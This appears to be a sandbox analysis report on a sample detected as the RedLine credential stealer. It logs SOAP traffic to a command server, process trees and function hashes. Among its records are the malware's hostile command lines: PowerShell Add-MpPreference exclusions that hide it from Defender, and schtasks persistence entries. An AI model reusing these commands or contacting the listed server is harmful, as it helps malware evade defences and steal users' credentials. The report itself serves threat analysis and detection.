Nov 4, 2024 04:32:15.174155951 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Nov 2024 03:32:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Nov 4, 2024 04:32:20.278641939 CET	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 45.137.22.248:55615 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Nov 4, 2024 04:32:20.533976078 CET	25	IN	HTTP/1.1 100 Continue
Nov 4, 2024 04:32:20.816849947 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 8064 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Nov 2024 03:32:19 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>139.186.206.86</b:string><b:string>112.244.133.106</b:string><b:string>113.100.145.59</b:string><b:string>14.19.28.125</b:string><b:string>36.143.61.93</b:string><b:string>120.229.169.226</b:string><b:string>27.214.63.21</b:string><b:string>125.94.23.107</b:string><b:string>114.95.213.233</b:string><b:string>219.137.198.172</b:string><b:string>84.57.190.182</b:string><b:string>113.78.94.204</b:string><b:string>125.123.233.96</b:string><b:string>113.68.110.168</b:string><b:string>172.174.62.166</b:string><b:string>103.149.33.156</b:string><b:string>121.226.48.220</b:string><b:string>14.221.49. [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49837	45.137.22.248	55615	7568	C:\Users\user\AppData\Roaming\VcihjWRO.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 04:32:23.738605022 CET	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 45.137.22.248:55615 Content-Length: 959930 Expect: 100-continue Accept-Encoding: gzip, deflate
Nov 4, 2024 04:32:25.678739071 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Nov 2024 03:32:24 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Nov 4, 2024 04:32:25.690970898 CET	217	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 45.137.22.248:55615 Content-Length: 959922 Expect: 100-continue Accept-Encoding: gzip, deflate
Nov 4, 2024 04:32:26.085789919 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Nov 2024 03:32:24 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	22:31:54
Start date:	03/11/2024
Path:	C:\Users\user\Desktop\I5pvP0CU6M.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\I5pvP0CU6M.exe"
Imagebase:	0x860000
File size:	663'048 bytes
MD5 hash:	68B2A6E71C0C904A9AEABFC9ADBF7A21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:32:00
Start date:	03/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe"
Imagebase:	0x310000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:32:00
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:32:00
Start date:	03/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VcihjWRO.exe"
Imagebase:	0x310000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:32:00
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:32:00
Start date:	03/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp"
Imagebase:	0x690000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:32:00
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:32:01
Start date:	03/11/2024
Path:	C:\Users\user\Desktop\I5pvP0CU6M.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\I5pvP0CU6M.exe"
Imagebase:	0x5c0000
File size:	663'048 bytes
MD5 hash:	68B2A6E71C0C904A9AEABFC9ADBF7A21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:32:01
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:32:04
Start date:	03/11/2024
Path:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
Imagebase:	0x590000
File size:	663'048 bytes
MD5 hash:	68B2A6E71C0C904A9AEABFC9ADBF7A21
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:32:04
Start date:	03/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:32:11
Start date:	03/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp7075.tmp"
Imagebase:	0x690000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:32:11
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:32:11
Start date:	03/11/2024
Path:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\VcihjWRO.exe"
Imagebase:	0x20000
File size:	663'048 bytes
MD5 hash:	68B2A6E71C0C904A9AEABFC9ADBF7A21
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:32:11
Start date:	03/11/2024
Path:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\VcihjWRO.exe"
Imagebase:	0xf10000
File size:	663'048 bytes
MD5 hash:	68B2A6E71C0C904A9AEABFC9ADBF7A21
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:32:12
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	9%
Total number of Nodes:	167
Total number of Limit Nodes:	10

Executed Functions

Function 02B87178 Relevance: 17.4, Strings: 13, Instructions: 1108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 02B875E3
u, xrefs: 02B87449
, xrefs: 02B87518
7, xrefs: 02B87FBB
, xrefs: 02B8776F
[, xrefs: 02B87BB5
V, xrefs: 02B875D9
, xrefs: 02B87DF0
V, xrefs: 02B87522
, xrefs: 02B87EA7
q, xrefs: 02B87828
, xrefs: 02B87832
g, xrefs: 02B8791A

Memory Dump Source

Source File: 00000000.00000002.2219047219.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $7$V$V$[$g$q$u
API String ID: 0-3960767134
Opcode ID: 54dece4f0182f1ab12792903be69cde85e746fb9721fbaef455e941a46c39e66
Instruction ID: 975c0fdf4e9acd5630bc32df02df4a337a8614b1b758bd33ac100b87ae39c18c
Opcode Fuzzy Hash: 54dece4f0182f1ab12792903be69cde85e746fb9721fbaef455e941a46c39e66
Instruction Fuzzy Hash: 0BB21A30A10709CFC715EF74C894B9AB7B6FF89304F518699D54AAB360EB71A985CF80

Function 02B87168 Relevance: 17.3, Strings: 13, Instructions: 1084
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 02B875E3
u, xrefs: 02B87449
, xrefs: 02B87518
7, xrefs: 02B87FBB
, xrefs: 02B8776F
[, xrefs: 02B87BB5
V, xrefs: 02B875D9
, xrefs: 02B87DF0
V, xrefs: 02B87522
, xrefs: 02B87EA7
q, xrefs: 02B87828
, xrefs: 02B87832
g, xrefs: 02B8791A

Memory Dump Source

Source File: 00000000.00000002.2219047219.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $7$V$V$[$g$q$u
API String ID: 0-3960767134
Opcode ID: a08483938420376fe123eeaaacd935ae848cdbce4f6bb3e06587568fa8f1f383
Instruction ID: 79627de12afa674da5c3ae24642a3fc95e52ba2e69e9894fcef5d6f5c5b39b4c
Opcode Fuzzy Hash: a08483938420376fe123eeaaacd935ae848cdbce4f6bb3e06587568fa8f1f383
Instruction Fuzzy Hash: 64B20B30A10709CFC715EF74C894B9AB7B6FF89304F518699D54AAB360EB71A985CF80

Function 058D7868 Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4370ebfbecf516d9c6867a7e87fda57b37945ea947dec04382cffc62d12d1b9
Instruction ID: f2a49a0a73978e0e5933c64e3718192bc02113bd4cdd74d1762ae61c319cad7d
Opcode Fuzzy Hash: e4370ebfbecf516d9c6867a7e87fda57b37945ea947dec04382cffc62d12d1b9
Instruction Fuzzy Hash: 34426F74A11229CFDB64CF69D984B9DBBF2FB48310F1181A9E809A7355D730AE81CF60

Function 058D6190 Relevance: .5, Instructions: 482COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be44fafe3c421b07e642bd64a99261e49ff2ce75adc733220ae1ff634fc915ee
Instruction ID: ad1e998802a29de9c5845a3ea8951d9ef63c01faa81dcd6fd796d8c1e7aab47b
Opcode Fuzzy Hash: be44fafe3c421b07e642bd64a99261e49ff2ce75adc733220ae1ff634fc915ee
Instruction Fuzzy Hash: 5B32B270A00259CFEB54DFA9C580A8EFBF2BF48211F55D295D848AB215DB30DD86CFA0

Function 058D7859 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba987f070c32689bcfb5bdc8b2ee82be0cd70aaba95873a27ef6b7f0783aa366
Instruction ID: c1b8823f08b756bc2b9d7a986d959b5102957abb042c31fa958d1a5e225ae936
Opcode Fuzzy Hash: ba987f070c32689bcfb5bdc8b2ee82be0cd70aaba95873a27ef6b7f0783aa366
Instruction Fuzzy Hash: D161A575E01218DFDB18CF6AD985B9DBBF2FF88310F1481A9E809AB254DB719941CF60

Function 058DA8B0 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a6ac8e46b7bf6146995b7bf7b280b5302574a797aa9527bdf2924c6e0e3e052
Instruction ID: f66ac0dd664b4edb7a3e45d7ff09dafba7828014a376f1ac0109b03ff91cf4ea
Opcode Fuzzy Hash: 7a6ac8e46b7bf6146995b7bf7b280b5302574a797aa9527bdf2924c6e0e3e052
Instruction Fuzzy Hash: 51517275D016199FDB08DFEAC9446EEFBF2BF89300F14812AD819AB254DB345946CF50

Function 058DD771 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dfbdfed0d6f70f08cf659fac00f5b30ecaf49eaa186d828063410f3a43e3cdf
Instruction ID: 9de61c3877dbb5ea3e8717eff3b68efdd01dcb6606603d38c8d698ba86f4988e
Opcode Fuzzy Hash: 9dfbdfed0d6f70f08cf659fac00f5b30ecaf49eaa186d828063410f3a43e3cdf
Instruction Fuzzy Hash: B941F474D062189BDB04CFAAD8856EEFBF6BF89300F10942AD819AB358DB7459058F60

Function 058D6183 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d459f7e364925d8521a3261a44ce5e6e44c95779d4b8f0db1f0741b52f9782b
Instruction ID: 77d470042a2ad449e6a27375888f80fff79cf10cbc04ae230a6e34d0e262d603
Opcode Fuzzy Hash: 3d459f7e364925d8521a3261a44ce5e6e44c95779d4b8f0db1f0741b52f9782b
Instruction Fuzzy Hash: 2941D471E006189FEB58DFABC84179EFBF2BF89300F14C0A9D45DA6255EB305A858F61

Function 058DA8A0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92d4b636c86de5f0e331ea7c75517c5ed4ce790cc2968469d66f13eb158d805c
Instruction ID: 7be01c2ce8b162304c742d7e1b830c6d9ed27d4010baad45cd8587f9293fe473
Opcode Fuzzy Hash: 92d4b636c86de5f0e331ea7c75517c5ed4ce790cc2968469d66f13eb158d805c
Instruction Fuzzy Hash: BD417275E006199FDB08DFEAD8456AEFBF2BF88300F14C12AD819AB254EB345946CF50

Function 010CD288 Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 010CD316
GetCurrentThread.KERNEL32 ref: 010CD353
GetCurrentProcess.KERNEL32 ref: 010CD390
GetCurrentThreadId.KERNEL32 ref: 010CD3E9

Memory Dump Source

Source File: 00000000.00000002.2215038486.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_I5pvP0CU6M.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 375a50a3e3d6046ba554114d215f867e9086326f7383a16b2ac775ec71ac0f0f
Instruction ID: e9cbfca0257e90d52280f60ce4d292f58f8481fefaca9bd80e58e8c873989066
Opcode Fuzzy Hash: 375a50a3e3d6046ba554114d215f867e9086326f7383a16b2ac775ec71ac0f0f
Instruction Fuzzy Hash: 705188B09003498FDB44CFAAD588B9EBFF1FF88314F208499E148A72A0DB746944CF61

Function 010CD298 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 010CD316
GetCurrentThread.KERNEL32 ref: 010CD353
GetCurrentProcess.KERNEL32 ref: 010CD390
GetCurrentThreadId.KERNEL32 ref: 010CD3E9

Memory Dump Source

Source File: 00000000.00000002.2215038486.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_I5pvP0CU6M.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 2c6091e0c6afe21c4c237bf5507032744e5c5d794a340fd9b43cd9d68d0fce42
Instruction ID: d33830e4ba859f230a8f44ca02ab0b892da577c798bb34cc891e61cac0b5dd82
Opcode Fuzzy Hash: 2c6091e0c6afe21c4c237bf5507032744e5c5d794a340fd9b43cd9d68d0fce42
Instruction Fuzzy Hash: 2C5175B19007098FDB44CFAAD588B9EBFF1BF88314F208469E149A72A0DB746944CF65

Function 010CAED9 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 010CB13E

Memory Dump Source

Source File: 00000000.00000002.2215038486.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_I5pvP0CU6M.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: bacc0a23292a97a8da4e0af7be364e842d7131ea688f9cf0ccc5bc1956053901
Instruction ID: bcf92fb5038d54260b999358292066f8b6bb6823ba20bc26dc35e9c2d40cb6d7
Opcode Fuzzy Hash: bacc0a23292a97a8da4e0af7be364e842d7131ea688f9cf0ccc5bc1956053901
Instruction Fuzzy Hash: 238157B0A00B058FE764DF69D04579ABBF1BF88700F008A6DE496D7A81D774E846CF90

Function 02B81AC4 Relevance: 1.6, APIs: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 02B81BE2

Memory Dump Source

